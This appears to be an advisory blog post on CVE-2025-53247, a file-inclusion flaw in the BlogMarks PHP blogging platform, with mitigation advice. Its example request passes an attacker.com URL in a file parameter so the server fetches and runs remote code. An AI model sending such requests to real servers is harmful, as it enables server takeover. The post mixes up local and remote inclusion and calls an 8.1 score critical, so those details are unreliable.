Overview
The cybersecurity community has identified a significant vulnerability in WPInterface’s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include/Require Statement in the PHP program, allowing for PHP Local File Inclusion (LFI). The potential implications of this vulnerability are severe, ranging from system compromise to data leakage. This blog post aims to provide a thorough analysis of the vulnerability, its potential impact, and the steps required to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-53247
Severity: Critical (8.1 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage
Affected Products
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Product | Affected Versions
WPInterface BlogMarks | Up to and including 1.0.8
How the Exploit Works
This exploit takes advantage of the PHP remote file inclusion vulnerability in WPInterface BlogMarks. It targets the improper control of filename for Include/Require Statement in the PHP program. The attacker can manipulate the file path input to include or require a remotely hosted file. This file can execute arbitrary code on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example illustrating how an attacker might exploit this vulnerability:
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker manipulates the `file` parameter in the GET request to include a file (`malicious_file.php`) hosted on their own server (`attacker.com`). When the server processes this request, it includes the malicious file, which can then execute arbitrary code on the server.
Mitigation Guidance
The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. Until the patch can be applied, it’s advisable to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and block attacks exploiting this vulnerability. Regularly update and patch your systems to reduce the risk of such vulnerabilities.
